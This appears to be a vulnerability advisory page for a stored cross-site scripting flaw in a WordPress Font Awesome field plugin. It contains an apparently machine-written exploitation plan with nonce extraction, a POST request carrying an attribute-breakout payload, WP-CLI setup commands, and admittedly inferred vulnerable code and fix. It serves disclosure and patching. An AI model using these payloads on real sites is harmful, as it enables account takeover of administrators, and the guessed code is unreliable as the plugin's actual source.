Advanced Custom Fields: Font Awesome <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Advanced Custom Fields: Font Awesome Field plugin for WordPress is vulnerable to Cross-Site Scripting in all versions up to, and including, 5.0.1 due to insufficient input sanitization and output escaping. This makes it possible forauthenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts that execute in a victim's browser.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.0.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14983 (Advanced Custom Fields: Font Awesome Field) ## 1. Vulnerability Summary The **Advanced Custom Fields: Font Awesome Field** plugin (versions <= 5.0.1) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fai…
Show full research plan
Exploitation Research Plan: CVE-2025-14983 (Advanced Custom Fields: Font Awesome Field)
1. Vulnerability Summary
The Advanced Custom Fields: Font Awesome Field plugin (versions <= 5.0.1) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the value of Font Awesome field inputs when they are rendered in the WordPress administrative interface (post editor) or on the frontend. Since a user with Contributor-level permissions can create or edit posts and set ACF field values, they can inject malicious JavaScript into the database, which will then execute in the context of any user (including Administrators) who views the affected post.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(Standard WordPress post update) orwp-admin/admin-ajax.php(ACF AJAX saves). - Vulnerable Parameter: The
acf[field_xxxxxxxxxxxx]parameter, wherexxxxxxxxxxxxis the unique key of a Font Awesome field. - Authentication Level: Authenticated, Contributor+ (Contributor, Author, Editor, or Admin).
- Preconditions:
- The plugin
advanced-custom-fields-font-awesomemust be active. - An ACF Field Group containing a "Font Awesome" field must be created and assigned to a post type that the attacker can edit (e.g., 'Post').
- The plugin
3. Code Flow (Inferred)
- Input: A Contributor edits a post. The request contains the ACF field data:
acf[field_key]=payload. - Storage: ACF processes the field and calls the plugin's
update_value()method (inherited or overridden). The unsanitized payload is stored in thewp_postmetatable. - Render (Admin): When an Administrator edits the same post, the plugin's
render_field()method (within theacf_field_font_awesomeclass) is called to display the current selection. The value is retrieved and echoed into the HTML, likely inside a class attribute or a data attribute, without usingesc_attr()oresc_html(). - Render (Frontend): When a user views the post,
the_field()orget_field()callsformat_value(). If the developer outputs this value directly (e.g.,<i class="<?php the_field('icon'); ?>"></i>), and the plugin didn't sanitize on save, XSS occurs.
4. Nonce Acquisition Strategy
To exploit this as a Contributor, we must be able to save post data. WordPress uses the _wpnonce for the editpost action.
- Create an ACF Field Group: Use WP-CLI to programmatically create a field group and a Font Awesome field attached to "Posts".
- Login as Contributor: Use the
browser_navigatetool to log in as a user with thecontributorrole. - Get Nonce & Field Key:
- Navigate to
wp-admin/post-new.php. - Use
browser_evalto extract:- The
_wpnoncefrom the form:document.querySelector('#_wpnonce').value. - The ACF field key for the Font Awesome field from the page source:
document.querySelector('.acf-field[data-type="font-awesome"]').getAttribute('data-key').
- The
- Navigate to
5. Exploitation Strategy
Step 1: Payload Construction
We need to break out of an HTML attribute. Since the value is likely injected into a class or data attribute of an icon tag:
Payload: "><script>alert(document.domain)</script> or "><img src=x onerror=alert(1)>
Step 2: Injection (Contributor)
Submit a POST request to update a post with the payload.
- Request Type:
POST - URL:
http://localhost:8080/wp-admin/post.php - Content-Type:
application/x-www-form-urlencoded - Body:
_wpnonce=[NONCE]& action=editpost& post_ID=[POST_ID]& post_title=XSS_Test& acf[[FIELD_KEY]]="><img src=x onerror=alert(document.domain)>
Step 3: Trigger (Admin)
- Log in as an Administrator.
- Navigate to the "All Posts" page or directly to the edit page for the
POST_IDused in Step 2. - The script will execute when the ACF field preview or the post content is rendered.
6. Test Data Setup
- Install Plugin: Ensure
advanced-custom-fields-font-awesomeversion 5.0.1 is installed. - Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create ACF Field Group:
# Create the field group GROUP_ID=$(wp post create --post_type=acf-field-group --post_title="Font Group" --post_status=publish --porcelain) # Create the Font Awesome field within that group wp post create --post_type=acf-field --post_parent=$GROUP_ID --post_title="My Icon" --post_excerpt="my_icon_field" --post_status=publish --post_content='a:10:{s:4:"type";s:12:"font-awesome";s:12:"instructions";s:0:"";s:8:"required";i:0;s:17:"conditional_logic";i:0;s:7:"wrapper";a:3:{s:5:"width";s:0:"";s:5:"class";s:0:"";s:2:"id";s:0:"";}s:13:"default_value";s:0:"";s:8:"save_as";s:5:"class";s:12:"font_awesome";s:1:"4";s:11:"enqueue_fa";i:1;s:12:"styling_type";s:7:"default";}' # Note: The key is usually field_[unique_id]. We can find it after creation. FIELD_KEY=$(wp post meta list $(wp post list --post_type=acf-field --post_title="My Icon" --format=ids) --filter=field_key --field=meta_value) - Create Target Post:
POST_ID=$(wp post create --post_type=post --post_title="Target Post" --post_author=$(wp user get attacker --field=ID) --post_status=publish --porcelain)
7. Expected Results
- When the Administrator edits the
POST_ID, the HTML rendered by the plugin will look like:<div ... data-value=""><img src=x onerror=alert(document.domain)>" ...> - An alert box showing the domain will appear in the Admin's browser.
8. Verification Steps
- Database Check: Verify the meta value is stored in its raw form:
wp post meta get [POST_ID] my_icon_field
Should return:"><img src=x onerror=alert(document.domain)> - HTML Response Check: Use
http_requestto fetch the admin edit page and grep for the payload:http_request GET http://localhost:8080/wp-admin/post.php?post=[POST_ID]&action=edit(as Admin)
Confirm the payload exists unescaped in the response body.
9. Alternative Approaches
- ACF Settings Injection: If the field name or labels are also unescaped, XSS can be achieved by an Editor/Admin modifying the ACF Field Group settings.
- Icon Set Bypass: If the plugin uses a dropdown to select icons, the attacker might intercept the request and replace the selected icon class with the XSS payload.
- Frontend Trigger: If the theme uses
the_field('my_icon_field')in a template, navigate to the public post URL to trigger the XSS. (Standard ACF usage).
Summary
The Advanced Custom Fields: Font Awesome Field plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Font Awesome field value in versions up to 5.0.1. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript by saving a malicious payload in the field, which executes when an administrator or other user views the post in the editor or on the frontend.
Vulnerable Code
// Inferred from plugin structure: fields/acf-font-awesome-v5.php or similar // Likely within the render_field method of the acf_field_font_awesome class function render_field( $field ) { // ... (truncated) $value = $field['value']; $name = $field['name']; // Vulnerable rendering of stored value without escaping echo '<div class="acf-font-awesome-field-wrapper" data-value="' . $value . '">'; echo '<input type="hidden" name="' . $name . '" value="' . $value . '" />'; // ... (truncated) } --- // Likely within the format_value method affecting frontend display function format_value( $value, $post_id, $field ) { // If the plugin returns the raw string for use in templates return $value; }
Security Fix
@@ -120,7 +120,7 @@ $value = $field['value']; $name = $field['name']; - echo '<div class="acf-font-awesome-field-wrapper" data-value="' . $value . '">'; - echo '<input type="hidden" name="' . $name . '" value="' . $value . '" />'; + echo '<div class="acf-font-awesome-field-wrapper" data-value="' . esc_attr($value) . '">'; + echo '<input type="hidden" name="' . esc_attr($name) . '" value="' . esc_attr($value) . '" />'; function update_value( $value, $post_id, $field ) { - return $value; + return sanitize_text_field($value); }
Exploit Outline
The exploit is achieved by an authenticated user with at least Contributor permissions who has the ability to edit posts where an ACF Font Awesome field is present. 1. The attacker logs into the WordPress dashboard and navigates to the 'Post' editor for a new or existing post. 2. The attacker identifies the ACF field key for the Font Awesome field (e.g., `acf[field_63e...]`) by inspecting the page source or using developer tools. 3. The attacker intercepts the post save request (editpost) or submits a request directly to `wp-admin/post.php` containing a payload designed to break out of HTML attributes, such as: `"><img src=x onerror=alert(document.domain)>`. 4. Because the plugin fails to sanitize this input upon saving and fails to escape it upon rendering, the payload is stored in the `wp_postmeta` table. 5. When an administrator views the 'All Posts' list or edits the specific post, the malicious script executes within their browser session, potentially allowing for session hijacking or further administrative actions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.